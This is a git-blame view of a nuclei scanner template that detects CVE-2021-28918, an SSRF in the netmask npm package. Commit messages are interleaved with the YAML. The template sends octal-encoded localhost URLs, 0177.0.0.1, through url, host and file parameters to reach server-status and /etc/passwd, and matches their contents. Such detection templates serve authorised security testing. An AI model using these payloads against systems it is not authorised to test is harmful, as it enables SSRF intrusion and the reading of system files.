daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2021/CVE-2021-28918.yaml

39 lines
1.3 KiB
YAML
Raw Normal View History

Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
id: CVE-2021-28918
info:
few fixes
2021-09-03 07:40:35 +00:00
name: Netmask NPM Package SSRF
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
author: johnjhacking
minor update
2021-07-06 07:11:16 +00:00
severity: critical
Update CVE-2021-28918.yaml Removed version as multiple reference includes multiple versions.
2021-07-06 07:15:50 +00:00
description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
minor update
2021-07-06 07:11:16 +00:00
tags: cve,cve2021,npm,netmask,ssrf,lfi
few fixes
2021-09-03 07:40:35 +00:00
reference:
Update CVE-2021-28918.yaml
2021-09-03 07:44:24 +00:00
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.10
cve-id: CVE-2021-28918
cwe-id: CWE-20
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
minor update
2021-07-06 07:11:16 +00:00
few fixes
2021-09-03 07:40:35 +00:00
stop-at-first-match: true
matchers-condition: or
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
matchers:
- type: word
Fixing Trailing Spaces As stated.
2021-07-06 07:05:03 +00:00
part: body
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test.
2021-07-06 06:50:43 +00:00
words:
- "Apache Server Status"
Update CVE-2021-28918.yaml Fixing trailing spaces.
2021-07-06 07:03:18 +00:00
- "Server Version"
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks!
2021-09-03 04:48:24 +00:00
condition: and
few fixes
2021-09-03 07:40:35 +00:00
- type: regex
regex:
- "root:.*:0:0:"